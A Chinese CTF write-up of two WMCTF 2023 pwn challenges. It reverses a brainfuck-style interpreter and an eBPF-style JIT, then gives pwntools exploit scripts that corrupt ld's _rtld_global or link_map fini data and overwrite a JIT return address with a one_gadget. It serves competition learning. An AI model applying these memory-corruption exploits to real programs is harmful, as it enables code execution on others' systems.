2023 WMCTF pwn【blindless jit】

news2024/10/24 3:45:49

文章目录

  • blindless
    • IDA结构体命名
    • 逆向
    • 漏洞
      • 方法1
      • 方法2
    • exp
  • jit
    • strtol(v9, &endptr, 16)
    • __errno_location和__throw_out_of_range
      • 详细解释:
    • __errno_location相关具体操作
      • 详细分析
      • 为什么要执行上述代码?
      • 示例代码段的解释
    • _acrt_iob_func
    • `SetProcessMitigationPolicy`
      • 函数原型
      • 参数解释
      • 返回值
      • 具体策略解释
      • 代码中的具体含义
    • eBPF虚拟机简单工作原理
    • 漏洞
    • exp

梦回2023 WMCTF,那个时候还不知道CTF是啥

blindless

https://akaieurus.github.io/2023/08/23/house-of-blindness/
保护全开

IDA结构体命名

这里命名结构体是发现个问题,由于原始是char [5],如果我命名为分开的一个字符和一个字符数组,它们还是挨着的
在这里插入图片描述
但如果是一个字符和一个四字节类型数据,就不会挨着了在这里插入图片描述

逆向

int __cdecl executeBrainfuck(char *code)
{
  struct instruction c; // [rsp+13h] [rbp-5h]

  HIBYTE(c.current_op_ptr) = 0;
  *(_DWORD *)&c.op = (unsigned __int8)*code;
  while ( c.current_op_ptr <= 255 )
  {
    if ( c.op == 'q' )
      return 0;
    if ( c.op <= 'q' )
    {
      if ( c.op == '@' )
      {
        data_ptr += *(unsigned int *)&code[c.current_op_ptr + 1];
        c.current_op_ptr += 5;
      }
      else if ( c.op <= '@' )
      {
        if ( c.op == '>' )
        {
          ++data_ptr;
          ++c.current_op_ptr;
        }
        else if ( c.op <= '>' )
        {
          if ( c.op == '+' )
          {
            data_ptr += 8;
            ++c.current_op_ptr;
          }
          else if ( c.op == '.' )
          {
            *data_ptr = code[c.current_op_ptr + 1];
            c.current_op_ptr += 2;
          }
        }
      }
    }
    c.op = code[c.current_op_ptr];
  }
  return 0;
}

一个简化版的 Brainfuck 解释器实现。Brainfuck 是一种极简的编程语言,只有 8 个指令。这个函数 executeBrainfuck 接受一个字符串作为输入,这个字符串包含 Brainfuck 代码。以下是对代码的解释:

  1. 函数使用一个结构体 instruction 来跟踪当前指令和参数。

  2. 主循环遍历输入的代码字符串,每次处理一个指令。

  3. 支持的指令有:

    • ‘q’: 退出程序
    • ‘@’: 将数据指针移动指定的偏移量
    • ‘>’: 将数据指针向右移动一位
    • ‘+’: 将当前数据单元的值增加 8
    • ‘.’: 将下一个字符的 ASCII 值写入当前数据单元
  4. 每个指令执行后,指令指针 c.arg 会相应地移动。

  5. 循环继续,直到遇到 ‘q’ 指令或 c.arg 超过 255。

漏洞

  • data_ptr可以向下溢出(也可以向上溢出应该,不过要先整数溢出,由于是八字节的,最大能加unsigned int ,由于codesize有限,远远加不到整数溢出)

然后存在一个对于data_ptr任意高地址堆写原语*data_ptr = code[c.current_op_ptr + 1];

由于没有读,然后给了后门,可以写某个函数指针为后面地址

然后发现它给libc使用的时候发现libc基地址和ld基地址之间的相对偏移固定。。使用libc2.35发现不会不知道为啥

如果相对偏移固定的话,datasize控制0x200000分配到libc地址前面固定偏移处即可,然后修改data_ptr到ld,再改ld里的

方法1

直接写_rtld_global内的_dl_rtld_lock_recursive 或者_dl_rtld_unlock_recursive 为低三个字节为onegadget,爆破
https://www.cnblogs.com/JmpCliff/articles/17647402.html

方法2

劫持fini,改l->l_info[DT_FINI] (相对link_map 0xa8)使得对应的偏移信息+pie基地址=后面地址,不改pie基地址信息
因为l->l_info[DT_FINI]是一个pie地址,我们可以把它改成含有后面偏移地址(backdoor的偏移)的地址-8,由于要偏移超过12位,所以还要爆破4位

main            0x559bf8bf6084 0x1209

 [13]     0x559bf8bf3558->0x559bf8bf3565 at 0x00001558: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
 
pwndbg> p/x 0x559bf8bf6084 -0x559bf8bf3558
$3 = 0x2b2c

exp

from pwn import *

p=process("./main")


p.sendlineafter(b"Pls input the data size",str(0x100000)) 
p.sendlineafter(b"Pls input the code size",str(0x100))


gdb.attach(p)
pause()
def address_write_code(offset,content):
    code=b"\x40"+p32(offset)
    code=code+b"\x2e"+content
    return code


while True:
    p=process("./main")
    payload=address_write_code(0x324228,b"\x7c")
    payload=payload+address_write_code(0x1,b"\x20")
    payload=payload+b"q"
    p.sendlineafter(b"Pls input your code",payload) 
    data = p.recvuntil('}', timeout=1)
    print(data)
    p.close()

jit

jit-pwn_
WM CTF 2023 pwn
2023 西湖论剑初赛 pwn-jit
WMCTF 2023 Writeup
PWN|西湖论剑·2022中国杭州网络安全技能大赛初赛官方Write Up
Unofficial eBPF spec
保护全开

strtol(v9, &endptr, 16)

  • v9 指向的字符串被解释为一个十六进制(基数为16)的数,并转换为 long 类型的值。
    指示转换结束的位置:
  • &endptr 是一个指向字符指针的指针。strtol 会更新 endptr,使其指向 v9 中第一个不是有效数字字符的位置。
    例如,如果 v9 是 “1A3Fxyz”,转换结束后 *endptr 将指向 ‘x’,因为 ‘x’ 不是有效的十六进制字符。

__errno_location和__throw_out_of_range

v8 = __errno_location();
……
v10 = v8;
……
if ( *v10 == 0x22 || (unsigned __int64)(convert_bytes + 0x80000000LL) > 0xFFFFFFFF )
    std::__throw_out_of_range("stoi");

详细解释:

  1. v8 = __errno_location();:

    • __errno_location() 是一个函数,返回一个指向线程局部存储(Thread-Local Storage, TLS)中 errno 变量的指针。
    • errno 是一个全局变量,用于指示上一个函数调用的错误状态。不同线程有各自独立的 errno__errno_location() 可以在多线程环境中安全地获取当前线程的 errno 位置。
  2. if ( *v10 == 0x22 || (unsigned __int64)(convert_bytes + 0x80000000LL) > 0xFFFFFFFF ):

    • 这行代码包含一个 if 条件检查,其中有两个条件:
      1. *v10 == 0x22:
        • *v10 解引用指针 v10,获取 errno 的值。
        • 0x22 是十六进制表示,等于十进制的 34。通常,34 表示 ERANGE 错误,表示数值超出范围。
      2. (unsigned __int64)(convert_bytes + 0x80000000LL) > 0xFFFFFFFF:
        • convert_bytes 是一个变量。假设它是一个整数值。
        • 0x80000000LL 是一个十六进制常量,表示 2147483648(是一个 long long 类型的值)。
        • convert_bytes 加上 0x80000000LL 后,将结果转换为无符号的 __int64 类型。
        • 检查结果是否大于 0xFFFFFFFF(即 4294967295),这是 unsigned int 类型的最大值。
  3. std::__throw_out_of_range("stoi");:

    • 如果上述 if 条件中的任何一个为真,则会调用 std::__throw_out_of_range("stoi");
    • std::__throw_out_of_range 是一个C++标准库函数,用于抛出一个 std::out_of_range 异常,表示数值超出允许的范围。
    • "stoi" 是异常消息,表明错误发生在将字符串转换为整数(stoi)的过程中。

__errno_location相关具体操作

详细分析

  1. 保存原始的 errno

    v8 = __errno_location();
    

    __errno_location() 返回一个指向 errno 的指针,并将其赋给 v8。此时 v8 是一个指向当前线程的 errno 变量的指针。

  2. 准备保存原始 errno

    v10 = v8;
    

    v8 的值赋给 v10,使 v10 也指向 errno

  3. 保存低32位的 errno

    LODWORD(v8) = *v8;
    

    LODWORD 通常是一个宏或内联函数,用于获取一个 longlong long 值的低32位。在这里,它将 *v8(即当前 errno 的值)赋给 v8 的低32位。

  4. 重置 errno

    *v10 = 0;
    

    errno 设置为 0,以便在调用 strtol 时可以检测到新的错误。

  5. 保存原始 errno

    v17 = (int)v8;
    

    v8(原始 errno 的低32位)转换为 int 并赋值给 v17。此时,v17 保存了调用 strtol 之前的 errno 值。

为什么要执行上述代码?

  • 检测并处理 strtol 的错误
    通过将 errno 设置为 0,可以在调用 strtol 后检测是否产生了新的错误。如果 strtol 过程中出现错误,errno 将被设置为适当的错误代码。

  • 恢复 errno 的原始值
    在检查完 strtol 的结果并处理任何可能的错误之后,如果没有新错误发生,恢复 errno 的原始值。这是为了确保在调用 strtol 之前的 errno 状态不会丢失。

示例代码段的解释

这段代码通过以下步骤实现了对 strtol 的调用和错误处理:

  1. 保存当前线程的 errno 值。
  2. errno 设置为 0 以便检测 strtol 的新错误。
  3. 调用 strtol 将字符串转换为长整型数。
  4. 检查 strtol 的结果:
    • 如果未能转换任何字符,抛出 std::__throw_invalid_argument 异常。
    • 如果转换结果超出范围或产生了 ERANGE 错误,抛出 std::__throw_out_of_range 异常。
  5. 恢复原始的 errno 值(如果没有新错误)。

通过这些步骤,代码确保了在调用 strtol 之后,能够正确检测并处理任何错误,同时不会丢失调用 strtol 之前的 errno 状态。

_acrt_iob_func

v18 = _acrt_iob_func(1u);
  1. _acrt_iob_func(1u) 是一个函数调用,返回一个指向标准I/O流的指针。1u 是一个无符号整数,表示标准输出流 stdout_acrt_iob_func 是微软C运行库(CRT)中的一个内部函数,用于获取标准I/O流(如 stdinstdoutstderr)的指针。

    • _acrt_iob_func(0u) 返回 stdin(标准输入)。
    • _acrt_iob_func(1u) 返回 stdout(标准输出)。
    • _acrt_iob_func(2u) 返回 stderr(标准错误)。

    因此,v18 现在指向 stdout

setvbuf(v18, 0i64, 4, 0i64);
  1. setvbuf 是一个标准C库函数,用于设置流的缓冲区模式。

    • v18 是流指针,这里指向 stdout
    • 0i64 是缓冲区指针,0i64 表示不指定缓冲区,使用系统默认的缓冲区。
    • 4 是缓冲模式,这里表示 _IONBF,即无缓冲模式。
    • 0i64 是缓冲区大小,在无缓冲模式下,这个参数被忽略。

SetProcessMitigationPolicy

SetProcessMitigationPolicy 是一个 Windows API 函数,用于设置进程的安全缓解策略(Mitigation Policy)。这些策略可以帮助减少某些类型的攻击面,例如缓冲区溢出、堆损坏等。通过设置这些策略,开发者可以增强进程的安全性。

函数原型

BOOL SetProcessMitigationPolicy(
  PROCESS_MITIGATION_POLICY MitigationPolicy,
  PVOID                     lpBuffer,
  SIZE_T                    dwLength
);

参数解释

  1. MitigationPolicy (PROCESS_MITIGATION_POLICY):

    • 这是一个枚举类型,指定要设置的缓解策略的类型。不同的策略对应不同的枚举值。
    • 在你的代码中,13i64 可能是一个硬编码的值,表示某种特定的缓解策略。通常,使用枚举类型来表示这个值会更清晰。例如,13 可能对应 ProcessHeapTerminationOnCorruption,但这需要参考具体的 Windows SDK 文档来确认。
  2. lpBuffer (PVOID):

    • 这是一个指向缓冲区的指针,缓冲区中包含要应用的策略设置。缓冲区的内容和大小取决于 MitigationPolicy 参数指定的策略类型。
    • 在你的代码中,&v24 是一个指向 v24 变量的指针。v24 的值为 1,表示启用某种特定的策略。
  3. dwLength (SIZE_T):

    • 这是缓冲区的大小,通常是 lpBuffer 指向的数据结构的大小。
    • 在你的代码中,这个参数没有显式出现,可能是因为函数的调用方式简化了,或者是因为某些特定策略的缓冲区大小是固定的。

返回值

  • 如果函数成功,返回值为 TRUE
  • 如果函数失败,返回值为 FALSE。可以使用 GetLastError 函数获取更多的错误信息。

具体策略解释

假设 13i64 对应的是 ProcessHeapTerminationOnCorruption(需要确认),那么这个策略的作用是:

  • ProcessHeapTerminationOnCorruption:
    • 当检测到堆损坏时,立即终止进程。这是一种防止攻击者利用堆损坏漏洞的缓解措施。
    • 通过设置这个策略,开发者可以确保在堆损坏时,进程不会继续运行,从而减少潜在的安全风险。

代码中的具体含义

v24 = 1;
SetProcessMitigationPolicy(13i64, &v24);
  • v24 = 1;:将 v24 变量设置为 1,表示启用某种缓解策略。
  • SetProcessMitigationPolicy(13i64, &v24);:调用 SetProcessMitigationPolicy 函数,设置进程的缓解策略。13i64 表示策略类型,&v24 是指向策略值的指针。

eBPF虚拟机简单工作原理

eBPF虚拟机的完整工作流程:

  1. 编写eBPF程序
  2. 编译成eBPF字节码
  3. 加载字节码到内核
  4. 验证字节码
  5. JIT编译
  6. 执行

例子:一个简单的eBPF程序,用于计数TCP SYN包

  1. 编写eBPF程序(使用C语言):
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>

SEC("socket")
int count_tcp_syn(struct __sk_buff *skb) {
    void *data = (void *)(long)skb->data;
    void *data_end = (void *)(long)skb->data_end;
    
    struct ethhdr *eth = data;
    if ((void *)eth + sizeof(*eth) > data_end)
        return 0;
    
    struct iphdr *ip = (void *)eth + sizeof(*eth);
    if ((void *)ip + sizeof(*ip) > data_end)
        return 0;
    
    if (ip->protocol != IPPROTO_TCP)
        return 0;
    
    struct tcphdr *tcp = (void *)ip + sizeof(*ip);
    if ((void *)tcp + sizeof(*tcp) > data_end)
        return 0;
    
    if (tcp->syn) {
        // 增加计数器
        // 这里简化了,实际应该使用 BPF_MAP 来存储计数
        __sync_fetch_and_add(&syn_count, 1);
    }
    
    return 0;
}
  1. 编译成eBPF字节码:

使用 LLVM 编译器将C代码编译成eBPF字节码:

clang -O2 -target bpf -c syn_counter.c -o syn_counter.o
  1. 加载字节码到内核:

使用 bpf() 系统调用或更高级的库(如libbpf)将字节码加载到内核。

  1. 验证字节码:

内核的eBPF验证器会检查字节码,确保:

  • 没有无限循环
  • 内存访问是安全的
  • 不会访问未初始化的栈内存
  • 程序会正常终止
  1. JIT编译:

验证通过后,eBPF JIT编译器会将字节码转换为本地机器码。例如,对于x86_64架构,可能会生成如下的机器码:

0:   55                      push   rbp
1:   48 89 e5                mov    rbp,rsp
4:   48 83 ec 08             sub    rsp,0x8
8:   48 8b 77 10             mov    rsi,QWORD PTR [rdi+0x10]
c:   48 8b 47 18             mov    rax,QWORD PTR [rdi+0x18]
...
  1. 执行:

当网络包到达时,内核会调用这段编译后的机器码。它会快速检查每个TCP包,如果是SYN包,就增加计数器。

漏洞

Unofficial eBPF spec 非官方 eBPF 规范
题目提示了是个eBPF的jit

逆了半天,根本逆不动,简直想死

本质上还是个虚拟机,只不过输入的是它的指令字节码然后最后转换成功x86机器码

根据逆向难度大则漏洞难度小的原则,直接测试哪些指令能用,然后看存在的缺陷

存在的case,但提前减4了,所以要加4才对应上各个opcode

0, 1, 3, 8, 0xB, 0x10, 0x11, 0x12, 0x13, 0x14, 0x18, 0x19, 0x1A, 0x1B, 0x20, 0x21, 0x22, 0x28, 0x29, 0x2A, 0x2B, 0x30, 0x31, 0x32, 0x33, 0x38, 0x39, 0x3A, 0x3B, 0x40, 0x41, 0x42, 0x43, 0x48, 0x49, 0x4A, 0x4B, 0x50, 0x51, 0x52, 0x53, 0x58, 0x59, 0x5A, 0x5B, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x80, 0x81, 0x83, 0x91, 0xA0, 0xA1, 0xA2, 0xA3, 0xA8, 0xA9, 0xAA, 0xAB, 0xB0, 0xB1, 0xB2, 0xB3, 0xB8, 0xB9, 0xBA, 0xBB, 0xC0, 0xC1, 0xC2, 0xC3, 0xC8, 0xC9, 0xCA, 0xCB, 0xD0, 0xD1, 0xD2

根据加载到vm结构体时存在的检查可以知道不同opcode对应得源寄存器和目的寄存器的范围,但由于源码比较炸裂,所以还是一个个试看看是哪些寄存器

 if ( src > 0xAu )
          goto LABEL_47;
        if ( des > 9u )
          goto LABEL_26;

然后断在运行转换为机器码的起始地址处下断点,前面和后面是固定的,只有add eax,0x11111111是我的机器码

pwndbg> x/20i  0x76bd98df5000
   0x76bd98df5000:	push   rbp
   0x76bd98df5001:	push   rbx
   0x76bd98df5002:	push   r13
   0x76bd98df5004:	push   r14
   0x76bd98df5006:	push   r15
   0x76bd98df5008:	mov    rbp,rsp
   0x76bd98df500b:	sub    rsp,0x200
   
   0x76bd98df5012:	add    eax,0x11111111
   
   0x76bd98df5018:	add    rsp,0x200
   0x76bd98df501f:	pop    r15
   0x76bd98df5021:	pop    r14
   0x76bd98df5023:	pop    r13
   0x76bd98df5025:	pop    rbx
   0x76bd98df5026:	pop    rbp
   0x76bd98df5027:	ret    


对于 if ( src > 0xAu ) goto LABEL_47; if ( des > 9u ) goto LABEL_26;控制的指令,发现都是只能控制目的寄存器是10个,源寄存器是11个

   0x735187874012:	add    eax,0x11111111
   0x735187874018:	add    edi,0x11111111
   0x73518787401e:	add    esi,0x11111111
   0x735187874024:	add    edx,0x11111111
   0x73518787402a:	add    r9d,0x11111111
   0x735187874031:	add    r8d,0x11111111
   0x735187874038:	add    ebx,0x11111111
   0x73518787403e:	add    r13d,0x11111111
   0x735187874045:	add    r14d,0x11111111
   0x73518787404c:	add    r15d,0x11111111
   
   0x735187874053:	add    eax,eax
   0x735187874055:	add    eax,edi
   0x735187874057:	add    eax,esi
   0x735187874059:	add    eax,edx
   0x73518787405b:	add    eax,r9d
   0x73518787405e:	add    eax,r8d
   0x735187874061:	add    eax,ebx
   0x735187874063:	add    eax,r13d
   0x735187874066:	add    eax,r14d
   0x735187874069:	add    eax,r15d
   0x73518787406c:	add    eax,ebp

对于case 0x18u:

case 0x18u:
        if ( (src & 0xF) != 0 )
        {
          *cerr_buffer_ptr = printf((__int64)"invalid source register for LDDW at PC %d", index);
          return 0xFFFFFFFFLL;
        }
         if ( src > 0xAu )
        {
          ++index;
LABEL_47:
          *cerr_buffer_ptr = printf((__int64)"invalid source register at PC %d", index);
          return 0xFFFFFFFFLL;
        }
        if ( des <= 9u )
        {

还有如下,这里目的寄存器范围多了个10,是rbp

 	  case 0x62u:
      case 0x63u:
      case 0x6Au:
      case 0x6Bu:
      case 0x72u:
      case 0x73u:
      case 0x7Au:
      case 0x7Bu:
        if ( src > 0xAu )
          goto LABEL_47;
        if ( des > 9u && (program_bytes_ptr[index_1].low_des_high_src & 0xF) != 10 )
          goto LABEL_26;

而对于修改内存的指令如下,可以对rbp相关偏移的内容复制,那么可以通过rbp修改返回地址

0x62	stw [dst+off], imm	*(uint32_t *) (dst + off) = imm
0x6a	sth [dst+off], imm	*(uint16_t *) (dst + off) = imm
0x72	stb [dst+off], imm	*(uint8_t *) (dst + off) = imm
0x7a	stdw [dst+off], imm	*(uint64_t *) (dst + off) = imm
0x63	stxw [dst+off], src	*(uint32_t *) (dst + off) = src
0x6b	stxh [dst+off], src	*(uint16_t *) (dst + off) = src
0x73	stxb [dst+off], src	*(uint8_t *) (dst + off) = src
0x7b	stxdw [dst+off], src	*(uint64_t *) (dst + off) = src

发现rax存在和

pwndbg> vmmap 0x7faaa5d7a000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x7faaa5d6f000     0x7faaa5d7a000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
►   0x7faaa5d7a000     0x7faaa5d7b000 r-xp     1000      0 [anon_7faaa5d7a] +0x0
    0x7faaa5d7b000     0x7faaa5d7d000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

一开始想直接将onegadget赋值给返回地址来修改,但没有有关libc地址残留,所以只能部分修改返回地址(libc地址形式的) 后来发现20.04的,相对偏移固定,只需将当前shellcode的返回地址改成onegadget,然后提前设置下寄存器就行

22:0110│+0f0 0x7fffcd753148 —▸ 0x7f7943fbe083 (__libc_start_main+243) ◂— mov edi, eax

exp

dockerfile中是ubuntu 20.04的,libc和ld的相对地址固定,shellcode位于ld之间,它和ld相对地址固定,所以能得到libc地址

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh=process("./jit")
gdb.attach(sh)

def instrut(opcode,dst,src,offset,imm):
    instruction = opcode
    instruction = instruction | dst << 8
    instruction = instruction | src << 12
    instruction = instruction | offset << 16
    instruction = instruction | imm << 32
    return binascii.hexlify(p64(instruction)).decode()  # 返回十六进制字符串

# msb                                                        lsb
# +------------------------+----------------+----+----+--------+
# |immediate               |offset          |src |dst |opcode  |
# +------------------------+----------------+----+----+--------+

payload=""

# for i in  range(10):
#     payload=payload+instrut(4,i,0,0,0x11111111)   
# 0x04	add32 dst, imm	dst += imm

# for i in range(11):
#     payload=payload+instrut(0x0c,0,i,0,0x11111111)
# 0x0c	add32 dst, src	dst += src


# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL || rsi is a valid argv
#   [rdx] == NULL || rdx == NULL || rdx is a valid envp


# 0x04	add32 dst, imm	dst += imm    add eax, 

# 0x17	sub rsi, imm	dst -= imm
# 0x17	sub rdx, imm	dst -= imm
# 0x63	stxw [dst+off], src	*(uint32_t *) (dst + off) = src

payload=payload=payload+instrut(0x17,0,0,0,0x583000) 
payload=payload=payload+instrut(0x17,0,0,0,0x583000) 
sh.sendlineafter(b'Program: ',payload )

sh.sendlineafter(b'Memory: ', "12345678")  # memory nouse
sh.interactive()


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2222068.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue.js 学习总结(9)—— Vue 3 组件封装技巧

1、需求说明 需求背景&#xff1a;日常开发中&#xff0c;我们经常会使用一些UI组件库诸如and design vue、element plus等辅助开发&#xff0c;提升效率。有时我们需要进行个性化封装&#xff0c;以满足在项目中大量使用的需求。错误示范&#xff1a;基于a-modal封装一个自定…

MinIO安装教程

MinIO简介 Minio是一个开源的、云原生的分布式对象存储系统&#xff0c;是一个基于Apache License v2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口&#xff0c;非常适合于存储大容量非结构化的数据。 它一大特点就是轻量&#xff0c;虽然轻量&#xff0c;却拥有着不…

适合忙碌职场人的进度计划工具

明确的进度计划是一种约束机制&#xff0c;职场人往往面临多项任务&#xff0c;通过进度计划管理&#xff0c;可以将工作按照优先级和时间要求进行分解&#xff0c;而进度计划管理可以很好地帮助职场人发现时间浪费的环节。此外&#xff0c;对于忙碌的职场人来说&#xff0c;不…

基于K8S的StatefulSet部署mysql主从

StatefulSet特性 StatefulSet的网络状态 拓扑状态&#xff1a;应用的多个实例必须按照某种顺序启动&#xff0c;并且必须成组存在&#xff0c;例如一个应用中必须存在一个A Pod和两个B Pod&#xff0c;且A Pod必须先于B Pod启动的场景 存储状态&#xff1a;应用存在多个实例&…

《使用Gin框架构建分布式应用》阅读笔记:p88-p100

《用Gin框架构建分布式应用》学习第6天&#xff0c;p88-p100总结&#xff0c;总计13页。 一、技术总结 1.MongoDB CRUD操作 (1)InsertOne(), InsertMany() (2)Find() (3)UpdateOne, UpdateMany() (4)DeleteOne(), DeleteMany() 2.MongoDB primitive p96&#xff0c;rec…

Docker 基础入门

Docker 基础入门 前言 在云计算和微服务架构日益盛行的今天&#xff0c;软件开发与部署的效率和灵活性成为了企业竞争力的关键因素之一。Docker&#xff0c;作为一种开源的容器化平台&#xff0c;凭借其轻量级、可移植性和易于管理的特性&#xff0c;迅速成为现代软件开发和运…

pdf编辑软件有哪些?方便好用的pdf编辑软件分享

PDF文件因其跨平台、格式固定的特性&#xff0c;成为了工作、学习和生活中不可或缺的一部分。然而&#xff0c;随着需求的不断增加&#xff0c;仅仅阅读PDF文件已难以满足我们的需求&#xff0c;编辑、转换PDF文件成为了新的焦点&#xff0c;下面给大家分享几款方便好用的PDF编…

vue3处理货名的拼接

摘要&#xff1a; 货品的拼接规则是&#xff1a;【品牌】货名称/假如货品名称为空时&#xff0c;直接选择品牌为【品牌】赋值给货品&#xff0c;再选择品牌&#xff0c;会替换【品牌】&#xff1b;假如货名称为【品牌】名称&#xff0c;再选择品牌只会替换【品牌】&#xff0c;…

Windows系统PyCharm右键运行.sh文件

在参考了Windows系统下pycharm运行.sh文件&#xff0c;执行shell命令_shell在pycharm-CSDN博客 和深度学习&#xff1a;PyCharm中运行Bash脚本_pycharm bash-CSDN博客 配置了右键执行.sh文件之后&#xff0c;发现在Windows的PyCharm中直接右键运行sh文件&#xff0c;存在如下…

【算法】深入理解布隆过滤器

1. 什么是布隆过滤器&#xff1f; 布隆过滤器&#xff08;Bloom Filter&#xff09;是一种空间效率极高的概率型数据结构&#xff0c;用于检测某个元素是否在一个集合中。与常见的数据结构如哈希表不同&#xff0c;布隆过滤器无法删除元素&#xff0c;并且会存在一定的误判率&…

【重学 MySQL】六十七、解锁检查约束,守护数据完整性

【重学 MySQL】六十七、解锁检查约束&#xff0c;守护数据完整性 检查约束的基本概念检查约束的语法检查约束的使用场景注意事项示例 在MySQL中&#xff0c;检查约束&#xff08;CHECK&#xff09;是一种用于确保表中数据满足特定条件的约束。 检查约束的基本概念 检查约束用…

【Next.js 项目实战系列】05-删除 Issue

原文链接 CSDN 的排版/样式可能有问题&#xff0c;去我的博客查看原文系列吧&#xff0c;觉得有用的话&#xff0c;给我的库点个star&#xff0c;关注一下吧 上一篇【Next.js 项目实战系列】04-修改 Issue 删除 Issue 添加删除 Button​ 本节代码链接 这里我们主要关注布局…

IPC 管道 Linux环境

管道通信的特点&#xff1a; 1. 单工通信---- 任何一个时刻只能发送方 向 接收方发送数据 2. 流式传输&#xff1a; 1> 先发送的数据先被接收&#xff0c;不能跳跃式接收 ----- 顺序发送顺序接收 2> 未被接收的数据仍然滞留在管道中&#xff0c;下一次可以继续接收后…

与ai一起作诗(《校园清廉韵》)

与ai对话犹如拷问自己的灵魂&#xff0c;与其说ai助力还不如说在和自己对话。 (笔记模板由python脚本于2024年10月19日 19:18:33创建&#xff0c;本篇笔记适合喜欢python和诗歌的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.python.org/ Free&…

免费开源Odoo软件如何实现电商仓库高效发货

世界排名第一的免费开源ERP软件Odoo&#xff0c;拥有非常强大的仓库管理WMS功能。本文以电商仓库发货管理为例&#xff0c;介绍电商订单的仓库发货作业的各种方法。电商订单仓库发货流程&#xff0c;通常分为三个步骤&#xff0c;即拣货、打包、发货。根据仓库日处理订单数量的…

【密码分析学 笔记】 3.3 飞去来器攻击及矩形攻击

3.3 飞去来器攻击及矩形攻击 飞去来器攻击&#xff1a; 轮数短但概率高的差分路线需要选择明文和密文 增强飞去来器攻击&#xff1a; 通过加大选择明文量来去掉选择密文的要求只选择明文 矩形攻击&#xff1a; 同时利用多条短轮路线提升区分器概率降低攻击复杂度 后续研…

【面试题】什么是SpringBoot以及SpringBoot的优缺点

什么是SpringBoot以及SpringBoot的优缺点 什么是SpringBoot SpringBoot是基于Spring的一个微框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。 SpringBoot的优点 可以创建独立的Spring应用程序&#xff0c;并且基于其Maven或Gradle插件&#xff0c;可以创建可执…

SpringCloudAlibaba-Nacos

概述和版本说明 <spring.boot.version>3.2.0</spring.boot.version> <spring.cloud.version>2023.0.0</spring.cloud.version> <spring.cloud.alibaba.version>2022.0.0.0</spring.cloud.alibaba.version>注册中心&#xff0c;配置中心及…

Docker 安装Postgres和PostGIS,并制作镜像

1. 查找postgres和postgis现有的镜像和版本号 镜像搜索网站&#xff1a;https://docker.aityp.com/ 测试使用的是postgres:15.4 和 postgis:15-3.4 2、镜像拉取 docker pull postgres:15.4docker pull postgis/postgis:15-3.4镜像下载完成&#xff0c;docker images 查看如…

【C++】拆分详解 - 模板

文章目录 一、泛型编程二、函数模板1. 概念2. 语法3. 函数模板的原理4. 函数模板的实例化5. 模板参数的匹配原则 三、类模板1. 语法2. 实例化 四、模板的特化1. 概念2. 函数模板特化3. 类模板特化3.1 全特化3.2 偏特化 / 半特化3.3 应用示例 4. 小结 五、模板的分离编译1. 分离…